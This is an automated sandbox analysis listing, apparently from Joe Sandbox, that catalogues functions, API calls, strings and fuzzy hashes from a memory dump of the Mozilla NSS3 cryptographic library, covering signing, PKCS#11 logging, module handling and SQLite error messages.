API ID: Errorfree$UnlockValue$CriticalEnterSection$Alloc_DoesK11_MechanismUtilmalloc
String ID:
API String ID: 2524771861-0
Opcode ID: df8f2824481c6df74090de98ed8f282a938f40e6cc7d523ff1ecaef552043b61
Instruction ID: d2335d8b1e85aaae26017accfafa33bd26f6f1598aada7b9d52dc4668cc8c36b
Opcode Fuzzy Hash: df8f2824481c6df74090de98ed8f282a938f40e6cc7d523ff1ecaef552043b61
Instruction Fuzzy Hash: ED8192B1A00209ABDF00DF65DC85BEE7BB5BF49318F540024E909A3711EB35E924CBA9

Function 6C624CF0 Relevance: 21.2, APIs: 14, Instructions: 237memoryCOMMON

Download Yara Rule

APIs

PK11_SignatureLen.NSS3(?), ref: 6C624D80
PORT_Alloc_Util.NSS3(00000000), ref: 6C624D95
PORT_NewArena_Util.NSS3(00000800), ref: 6C624DF2
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C624E2C
PR_SetError.NSS3(FFFFE028,00000000), ref: 6C624E43
PORT_NewArena_Util.NSS3(00000800), ref: 6C624E58
SGN_CreateDigestInfo_Util.NSS3(00000001,?,?), ref: 6C624E85
DER_Encode_Util.NSS3(?,?,6C7705A4,00000000), ref: 6C624EA7
PK11_SignWithMechanism.NSS3(?,-00000001,00000000,?,?), ref: 6C624F17
DSAU_EncodeDerSigWithLen.NSS3(?,?,?), ref: 6C624F45
SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6C624F62
PORT_FreeArena_Util.NSS3(?,00000001), ref: 6C624F7A
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C624F89
SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6C624FC8

Memory Dump Source

Source File: 00000000.00000002.2662972797.000000006C591000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2662550146.000000006C590000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667164056.000000006C72F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667847853.000000006C76E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667915017.000000006C76F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668166004.000000006C770000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668314970.000000006C775000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_R2CgZG545D.jbxd

Similarity

API ID: Util$Arena_$ErrorFreeItem_K11_WithZfree$Alloc_CreateDigestEncodeEncode_Info_MechanismSignSignature
String ID:
API String ID: 2843999940-0
Opcode ID: c0e9454d6207fadcacc4423247b8ee6c0a807a3c4707767ba59194d85b9720d9
Instruction ID: c68185e8079ab879e06e56f602eadc4aea714cc764e47c9cdd04b8652b1e1dc7
Opcode Fuzzy Hash: c0e9454d6207fadcacc4423247b8ee6c0a807a3c4707767ba59194d85b9720d9
Instruction Fuzzy Hash: 0281C271908301AFE711CF24D840BABB7E4ABC5358F14892DF998DB640E7B5E905CF9A

Function 6C665C10 Relevance: 21.2, APIs: 10, Strings: 2, Instructions: 221COMMON

Download Yara Rule

APIs

SECMOD_DestroyModule.NSS3(00000000,?,?,?,?,?), ref: 6C665C9B
PR_SetError.NSS3(FFFFE043,00000000,?,?,?,?,?), ref: 6C665CF4
SECMOD_DestroyModule.NSS3(00000000,?,?,?,?,?,?,?), ref: 6C665CFD
PR_smprintf.NSS3(tokens=[0x%x=<%s>],00000004,00000000,?,?,?,?,?,?), ref: 6C665D42
free.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?), ref: 6C665D4E
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C665D78
PR_SetError.NSS3(FFFFE013,00000000,?,?,?,?,?,?,?,?,?,?), ref: 6C665E18
TlsGetValue.KERNEL32 ref: 6C665E5E
EnterCriticalSection.KERNEL32(?), ref: 6C665E72
PR_Unlock.NSS3(?), ref: 6C665E8B

Part of subcall function 6C65F820: free.MOZGLUE(6A1B7500,2404110F,?,?), ref: 6C65F854
Part of subcall function 6C65F820: free.MOZGLUE(FFD3F9E8,2404110F,?,?), ref: 6C65F868
Part of subcall function 6C65F820: DeleteCriticalSection.KERNEL32(04C4841B,2404110F,?,?), ref: 6C65F882
Part of subcall function 6C65F820: free.MOZGLUE(04C483FF,?,?), ref: 6C65F889
Part of subcall function 6C65F820: DeleteCriticalSection.KERNEL32(CCCCCCDF,2404110F,?,?), ref: 6C65F8A4
Part of subcall function 6C65F820: free.MOZGLUE(CCCCCCC3,?,?), ref: 6C65F8AB
Part of subcall function 6C65F820: DeleteCriticalSection.KERNEL32(280F1108,2404110F,?,?), ref: 6C65F8C9
Part of subcall function 6C65F820: free.MOZGLUE(280F10EC,?,?), ref: 6C65F8D0

Strings

d, xrefs: 6C665C36
tokens=[0x%x=<%s>], xrefs: 6C665D3D

Memory Dump Source

Source File: 00000000.00000002.2662972797.000000006C591000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2662550146.000000006C590000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667164056.000000006C72F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667847853.000000006C76E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667915017.000000006C76F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668166004.000000006C770000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668314970.000000006C775000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_R2CgZG545D.jbxd

Similarity

API ID: free$CriticalSection$Delete$DestroyErrorModule$EnterR_smprintfUnlockValue
String ID: d$tokens=[0x%x=<%s>]
API String ID: 2028831712-1373489631
Opcode ID: 8b267ceecbab1acd1a7d22692bbe07b38b931e3014527ae915e0fb64b1693d6c
Instruction ID: 78d1b745c060b8965247ff1e71d8efba6dc66e5e0617ffa166fdeaa0a5e9ae21
Opcode Fuzzy Hash: 8b267ceecbab1acd1a7d22692bbe07b38b931e3014527ae915e0fb64b1693d6c
Instruction Fuzzy Hash: A271D7F0E051059BEB019F26DC4676A3675AF4631CF140039E8199AF53EB32E925CB9F

Function 6C658F40 Relevance: 21.2, APIs: 14, Instructions: 179memoryCOMMON

Download Yara Rule

APIs

SECOID_GetAlgorithmTag_Util.NSS3(6C659582), ref: 6C658F5B

Part of subcall function 6C66BE30: SECOID_FindOID_Util.NSS3(6C62311B,00000000,?,6C62311B,?), ref: 6C66BE44

PORT_NewArena_Util.NSS3(00000800), ref: 6C658F6A

Part of subcall function 6C670FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C6187ED,00000800,6C60EF74,00000000), ref: 6C671000
Part of subcall function 6C670FF0: PR_NewLock.NSS3(?,00000800,6C60EF74,00000000), ref: 6C671016
Part of subcall function 6C670FF0: PL_InitArenaPool.NSS3(00000000,security,6C6187ED,00000008,?,00000800,6C60EF74,00000000), ref: 6C67102B

SECOID_FindOIDByTag_Util.NSS3(00000000), ref: 6C658FC3
PK11_GetIVLength.NSS3(-00000001), ref: 6C658FE0
SEC_ASN1DecodeItem_Util.NSS3(?,?,6C73D820,6C659576), ref: 6C658FF9
DER_GetInteger_Util.NSS3(?), ref: 6C65901D
PORT_ZAlloc_Util.NSS3(?), ref: 6C65903E
SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6C659062
memcpy.VCRUNTIME140(00000024,?,?), ref: 6C6590A2
PORT_ZAlloc_Util.NSS3(?), ref: 6C6590CA
memcpy.VCRUNTIME140(00000018,?,?), ref: 6C6590F0
PR_SetError.NSS3(FFFFE006,00000000), ref: 6C65912D
free.MOZGLUE(00000000), ref: 6C659136
PORT_FreeArena_Util.NSS3(?,00000001), ref: 6C659145

Memory Dump Source

Source File: 00000000.00000002.2662972797.000000006C591000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2662550146.000000006C590000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667164056.000000006C72F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667847853.000000006C76E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667915017.000000006C76F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668166004.000000006C770000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668314970.000000006C775000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_R2CgZG545D.jbxd

Similarity

API ID: Util$Tag_$AlgorithmAlloc_Arena_Findmemcpy$ArenaDecodeErrorFreeInitInteger_Item_K11_LengthLockPoolcallocfree
String ID:
API String ID: 3626836424-0
Opcode ID: 3e8cb574cb3c85089a75b6a77f4e6a982050ab377cc3a6f02f71dcce6eb073ec
Instruction ID: ab98779c3b295a4239264f666d71eb45bb46e8ae3bdf64258044c00aee6ddbac
Opcode Fuzzy Hash: 3e8cb574cb3c85089a75b6a77f4e6a982050ab377cc3a6f02f71dcce6eb073ec
Instruction Fuzzy Hash: AE51F3B1A043009BEB10CF29DC40B9BB7E8AF99358F544929EC58C7701E731E955CBEA

Function 6C642DD0 Relevance: 21.1, APIs: 6, Strings: 6, Instructions: 94COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_InitPIN), ref: 6C642DF6
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C642E24
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C642E33

Part of subcall function 6C72D930: PL_strncpyz.NSS3(?,?,?), ref: 6C72D963

PR_LogPrint.NSS3(?,00000000), ref: 6C642E49
PR_LogPrint.NSS3( pPin = 0x%p,?), ref: 6C642E68
PR_LogPrint.NSS3( ulPinLen = %d,?), ref: 6C642E81

Strings

ulPinLen = %d, xrefs: 6C642E7C
pPin = 0x%p, xrefs: 6C642E63
hSession = 0x%x, xrefs: 6C642E0E, 6C642E1E
(CK_INVALID_HANDLE), xrefs: 6C642E2C
nrl, xrefs: 6C642E99, 6C642EC4
C_InitPIN, xrefs: 6C642DF1

Memory Dump Source

Source File: 00000000.00000002.2662972797.000000006C591000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2662550146.000000006C590000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667164056.000000006C72F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667847853.000000006C76E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667915017.000000006C76F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668166004.000000006C770000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668314970.000000006C775000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_R2CgZG545D.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pPin = 0x%p$ ulPinLen = %d$ (CK_INVALID_HANDLE)$C_InitPIN$nrl
API String ID: 1003633598-1384380042
Opcode ID: c07dc5367e8d6ce85211758350350b4a4505a5b4b121037e2b9227beb87bf1c3
Instruction ID: caad4a2fe085ca79c8fed900d30f132545a0909550411fa4fa7565c7c9aa1c70
Opcode Fuzzy Hash: c07dc5367e8d6ce85211758350350b4a4505a5b4b121037e2b9227beb87bf1c3
Instruction Fuzzy Hash: 7B31F171A01128EFCB019B54DE4CF8A3BB5EB42358F14C034E908A7A12DB349949CBBA

Function 6C646EF0 Relevance: 21.1, APIs: 6, Strings: 6, Instructions: 94COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_DigestUpdate), ref: 6C646F16
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C646F44
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C646F53

Part of subcall function 6C72D930: PL_strncpyz.NSS3(?,?,?), ref: 6C72D963

PR_LogPrint.NSS3(?,00000000), ref: 6C646F69
PR_LogPrint.NSS3( pPart = 0x%p,?), ref: 6C646F88
PR_LogPrint.NSS3( ulPartLen = %d,?), ref: 6C646FA1

Strings

hSession = 0x%x, xrefs: 6C646F2E, 6C646F3E
ulPartLen = %d, xrefs: 6C646F9C
(CK_INVALID_HANDLE), xrefs: 6C646F4C
nrl, xrefs: 6C646FB9, 6C646FE7
C_DigestUpdate, xrefs: 6C646F11
pPart = 0x%p, xrefs: 6C646F83

Memory Dump Source

Source File: 00000000.00000002.2662972797.000000006C591000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2662550146.000000006C590000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667164056.000000006C72F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667847853.000000006C76E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667915017.000000006C76F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668166004.000000006C770000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668314970.000000006C775000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_R2CgZG545D.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pPart = 0x%p$ ulPartLen = %d$ (CK_INVALID_HANDLE)$C_DigestUpdate$nrl
API String ID: 1003633598-4152692721
Opcode ID: 78b2da7024588cb32f74d81e5060e60b811e3316fd4c5565735619ee0c0f2731
Instruction ID: 1cc3b17e6b8f38a84f18e3f7da19022eee2c6c374681b22b748d4c2fd52ab5fb
Opcode Fuzzy Hash: 78b2da7024588cb32f74d81e5060e60b811e3316fd4c5565735619ee0c0f2731
Instruction Fuzzy Hash: DA31B575601168EFDB019B54DE4CB9A3BB6EB42359F04C034E809A7A12DB35D948CBBA

Function 6C60AF30 Relevance: 21.1, APIs: 10, Strings: 2, Instructions: 93COMMON

Download Yara Rule

APIs

PR_EnterMonitor.NSS3 ref: 6C60AF47

Part of subcall function 6C6D9090: TlsGetValue.KERNEL32 ref: 6C6D90AB
Part of subcall function 6C6D9090: TlsGetValue.KERNEL32 ref: 6C6D90C9
Part of subcall function 6C6D9090: EnterCriticalSection.KERNEL32 ref: 6C6D90E5
Part of subcall function 6C6D9090: TlsGetValue.KERNEL32 ref: 6C6D9116
Part of subcall function 6C6D9090: LeaveCriticalSection.KERNEL32 ref: 6C6D913F

FreeLibrary.KERNEL32(?), ref: 6C60AF6D
free.MOZGLUE(?), ref: 6C60AFA4
free.MOZGLUE(?), ref: 6C60AFAA
PR_ExitMonitor.NSS3 ref: 6C60AFB5
PR_LogPrint.NSS3(%s decr => %d,?,?), ref: 6C60AFF5
PR_ExitMonitor.NSS3 ref: 6C60B005
PR_SetError.NSS3(FFFFE89D,00000000), ref: 6C60B014
PR_LogPrint.NSS3(Unloaded library %s,?), ref: 6C60B028
PR_SetError.NSS3(FFFFE89D,00000000), ref: 6C60B03C

Strings

Unloaded library %s, xrefs: 6C60B023
%s decr => %d, xrefs: 6C60AFF0

Memory Dump Source

Source File: 00000000.00000002.2662972797.000000006C591000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2662550146.000000006C590000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667164056.000000006C72F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667847853.000000006C76E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667915017.000000006C76F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668166004.000000006C770000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668314970.000000006C775000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_R2CgZG545D.jbxd

Similarity

API ID: MonitorValue$CriticalEnterErrorExitPrintSectionfree$FreeLeaveLibrary
String ID: %s decr => %d$Unloaded library %s
API String ID: 4015679603-2877805755
Opcode ID: 0eebbe384721f5691fb3a13ce3b77b8a44347083d1ba1041ed6e7998025b8939
Instruction ID: 05669928ba52391f14778a4081d0fd28c664b591951476cea68f8bdb6cf61411
Opcode Fuzzy Hash: 0eebbe384721f5691fb3a13ce3b77b8a44347083d1ba1041ed6e7998025b8939
Instruction Fuzzy Hash: C2314BB4B04110ABDB05AF61DE54A55B775EF4638CB288135EC0AA7A02F732E824C7FD

Function 6C656C30 Relevance: 21.1, APIs: 6, Strings: 6, Instructions: 58stringCOMMON

Download Yara Rule

APIs

strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,dbm:,00000004,6C65781D,00000000,6C64BE2C,?,6C656B1D,?,?,?,?,00000000,00000000,6C65781D), ref: 6C656C40
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,sql:,00000004,?,?,?,?,?,?,?,00000000,00000000,6C65781D,?,6C64BE2C,?), ref: 6C656C58
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,rdb:,00000004,?,?,?,?,?,?,?,?,?,?,00000000,00000000,6C65781D), ref: 6C656C6F
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,extern:,00000007), ref: 6C656C84
PR_GetEnvSecure.NSS3(NSS_DEFAULT_DB_TYPE), ref: 6C656C96

Part of subcall function 6C601240: TlsGetValue.KERNEL32(00000040,?,6C60116C,NSPR_LOG_MODULES), ref: 6C601267
Part of subcall function 6C601240: EnterCriticalSection.KERNEL32(?,?,?,6C60116C,NSPR_LOG_MODULES), ref: 6C60127C
Part of subcall function 6C601240: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(?,?,?,?,6C60116C,NSPR_LOG_MODULES), ref: 6C601291
Part of subcall function 6C601240: PR_Unlock.NSS3(?,?,?,?,6C60116C,NSPR_LOG_MODULES), ref: 6C6012A0

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,dbm), ref: 6C656CAA

Strings

extern:, xrefs: 6C656C7E
dbm, xrefs: 6C656CA4
rdb:, xrefs: 6C656C69
NSS_DEFAULT_DB_TYPE, xrefs: 6C656C91
dbm:, xrefs: 6C656C3A
sql:, xrefs: 6C656C52

Memory Dump Source

Source File: 00000000.00000002.2662972797.000000006C591000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2662550146.000000006C590000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667164056.000000006C72F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667847853.000000006C76E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667915017.000000006C76F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668166004.000000006C770000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668314970.000000006C775000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_R2CgZG545D.jbxd

Similarity

API ID: strncmp$CriticalEnterSectionSecureUnlockValuegetenvstrcmp
String ID: NSS_DEFAULT_DB_TYPE$dbm$dbm:$extern:$rdb:$sql:
API String ID: 4221828374-3736768024
Opcode ID: 5fff1d2daadffd16c91f612380759c742d0ae8b927e3fe25424561dd6c35d9db
Instruction ID: 12d6dd27acdbc579769409586e6cff8ea21db1ca18f487a5a9df3607de9881ad
Opcode Fuzzy Hash: 5fff1d2daadffd16c91f612380759c742d0ae8b927e3fe25424561dd6c35d9db
Instruction Fuzzy Hash: 3501A7F170235127FA00277AAF49F66355C9F4125DFA40531FE04E0A41EE96E63481A9

Function 6C664E60 Relevance: 19.7, APIs: 13, Instructions: 186COMMON

Download Yara Rule

APIs

PR_SetErrorText.NSS3(00000000,00000000,?,6C6278F8), ref: 6C664E6D

Part of subcall function 6C6009E0: TlsGetValue.KERNEL32(00000000,?,?,?,6C6006A2,00000000,?), ref: 6C6009F8
Part of subcall function 6C6009E0: malloc.MOZGLUE(0000001F), ref: 6C600A18
Part of subcall function 6C6009E0: memcpy.VCRUNTIME140(?,?,00000001), ref: 6C600A33

PR_SetError.NSS3(FFFFE09A,00000000,?,?,?,6C6278F8), ref: 6C664ED9

Part of subcall function 6C655920: NSSUTIL_ArgHasFlag.NSS3(flags,printPolicyFeedback,?,?,?,?,?,?,00000000,?,00000000,?,6C657703,?,00000000,00000000), ref: 6C655942
Part of subcall function 6C655920: NSSUTIL_ArgHasFlag.NSS3(flags,policyCheckIdentifier,?,?,?,?,?,?,?,?,?,00000000,?,00000000,?,6C657703), ref: 6C655954
Part of subcall function 6C655920: NSSUTIL_ArgHasFlag.NSS3(flags,policyCheckValue,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 6C65596A
Part of subcall function 6C655920: SECOID_Init.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 6C655984
Part of subcall function 6C655920: NSSUTIL_ArgGetParamValue.NSS3(disallow,00000000), ref: 6C655999
Part of subcall function 6C655920: free.MOZGLUE(00000000), ref: 6C6559BA
Part of subcall function 6C655920: NSSUTIL_ArgGetParamValue.NSS3(allow,00000000), ref: 6C6559D3
Part of subcall function 6C655920: free.MOZGLUE(00000000), ref: 6C6559F5
Part of subcall function 6C655920: NSSUTIL_ArgGetParamValue.NSS3(disable,00000000), ref: 6C655A0A
Part of subcall function 6C655920: free.MOZGLUE(00000000), ref: 6C655A2E
Part of subcall function 6C655920: NSSUTIL_ArgGetParamValue.NSS3(enable,00000000), ref: 6C655A43

SECMOD_FindModule.NSS3(?,?,?,?,?,?,?,?,?,6C6278F8), ref: 6C664EB3

Part of subcall function 6C664820: strcmp.API-MS-WIN-CRT-STRING-L1-1-0(6C664EB8,?,?,?,?,?,?,?,?,?,?,6C6278F8), ref: 6C66484C
Part of subcall function 6C664820: strcmp.API-MS-WIN-CRT-STRING-L1-1-0(6C664EB8,?,?,?,?,?,?,?,?,?,?,6C6278F8), ref: 6C66486D
Part of subcall function 6C664820: PR_SetError.NSS3(FFFFE09A,00000000,00000000,-00000001,00000000,?,6C664EB8,?), ref: 6C664884

SECMOD_DestroyModule.NSS3(00000000,?,?,?,?,?,?,?,?,?,6C6278F8), ref: 6C664EC0

Part of subcall function 6C664470: TlsGetValue.KERNEL32(00000000,?,6C627296,00000000), ref: 6C664487
Part of subcall function 6C664470: EnterCriticalSection.KERNEL32(?,?,?,6C627296,00000000), ref: 6C6644A0
Part of subcall function 6C664470: PR_Unlock.NSS3(?,?,?,?,6C627296,00000000), ref: 6C6644BB

TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,6C6278F8), ref: 6C664F16
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,6C6278F8), ref: 6C664F2E
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,6C6278F8), ref: 6C664F40
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,6C6278F8), ref: 6C664F6C
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,6C6278F8), ref: 6C664F80
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,6C6278F8), ref: 6C664F8F
PK11_UpdateSlotAttribute.NSS3(?,6C73DCB0,00000000), ref: 6C664FFE
PK11_UserDisableSlot.NSS3(0000001E), ref: 6C66501F
SECMOD_DestroyModule.NSS3(00000000,?,?,?,?,?,?,?,?,6C6278F8), ref: 6C66506B

Memory Dump Source

Source File: 00000000.00000002.2662972797.000000006C591000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2662550146.000000006C590000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667164056.000000006C72F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667847853.000000006C76E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667915017.000000006C76F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668166004.000000006C770000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668314970.000000006C775000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_R2CgZG545D.jbxd

Similarity

API ID: Value$Param$CriticalEnterErrorFlagModuleSectionUnlockfree$DestroyK11_Slotstrcmp$AttributeDisableFindInitTextUpdateUsermallocmemcpy
String ID:
API String ID: 560490210-0
Opcode ID: ac5220c43721d14b554f757b9d23393953db1fb383fca7632770a4aa22d9f2c7
Instruction ID: 0c987d410caa71b98a75b5acb457b548d97f03a5914dac4663023fb18c53a552
Opcode Fuzzy Hash: ac5220c43721d14b554f757b9d23393953db1fb383fca7632770a4aa22d9f2c7
Instruction Fuzzy Hash: 2D5103B19002159BDB019F26EC05AAA36B4FF0631CF144535E85A86F12FB31E965CBAB

Function 6C60ACC0 Relevance: 19.6, APIs: 13, Instructions: 150stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C60ACE2
malloc.MOZGLUE(00000001), ref: 6C60ACEC
strcpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6C60AD02
TlsGetValue.KERNEL32 ref: 6C60AD3C
calloc.MOZGLUE(00000001,?), ref: 6C60AD8C
PR_Unlock.NSS3 ref: 6C60ADC0
free.MOZGLUE(00000000), ref: 6C60AE48
PR_SetError.NSS3(FFFFE890,00000000), ref: 6C60AE58
free.MOZGLUE(00000000), ref: 6C60AE69
free.MOZGLUE(?), ref: 6C60AE78
PR_Unlock.NSS3 ref: 6C60AE8C
free.MOZGLUE(?), ref: 6C60AEAB
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C60AEC7

Memory Dump Source

Source File: 00000000.00000002.2662972797.000000006C591000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2662550146.000000006C590000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667164056.000000006C72F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667847853.000000006C76E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667915017.000000006C76F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668166004.000000006C770000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668314970.000000006C775000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_R2CgZG545D.jbxd

Similarity

API ID: free$Unlock$ErrorValuecallocmallocmemcpystrcpystrlen
String ID:
API String ID: 786543732-0
Opcode ID: a8ade9de4093b6a4d7d9424e94438d9515269c827a0a0da189b86c2cb04e729e
Instruction ID: ae9c61914561c8a9fc9946e320580c5a633b746a5e62cc3ac23b491c33249326
Opcode Fuzzy Hash: a8ade9de4093b6a4d7d9424e94438d9515269c827a0a0da189b86c2cb04e729e
Instruction Fuzzy Hash: E451D2B0F002299BDF05EF68CE456AE77B4BB06389F140535D808B7B42D730A905CBEA

Function 6C6E4C40 Relevance: 19.3, APIs: 3, Strings: 8, Instructions: 97COMMON

Download Yara Rule

APIs

sqlite3_value_text16.NSS3(?), ref: 6C6E4CAF
sqlite3_log.NSS3(00000015,API call with %s database connection pointer,invalid), ref: 6C6E4CFD
sqlite3_value_text16.NSS3(?), ref: 6C6E4D44

Strings

no more rows available, xrefs: 6C6E4D2E
out of memory, xrefs: 6C6E4C78, 6C6E4C9E
another row available, xrefs: 6C6E4D20
abort due to ROLLBACK, xrefs: 6C6E4D27, 6C6E4D33
invalid, xrefs: 6C6E4CF1
bad parameter or other API misuse, xrefs: 6C6E4D05
unknown error, xrefs: 6C6E4D56
API call with %s database connection pointer, xrefs: 6C6E4CF6

Memory Dump Source

Source File: 00000000.00000002.2662972797.000000006C591000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2662550146.000000006C590000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667164056.000000006C72F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667847853.000000006C76E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667915017.000000006C76F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668166004.000000006C770000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668314970.000000006C775000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_R2CgZG545D.jbxd

Similarity

API ID: sqlite3_value_text16$sqlite3_log
String ID: API call with %s database connection pointer$abort due to ROLLBACK$another row available$bad parameter or other API misuse$invalid$no more rows available$out of memory$unknown error
API String ID: 2274617401-4033235608
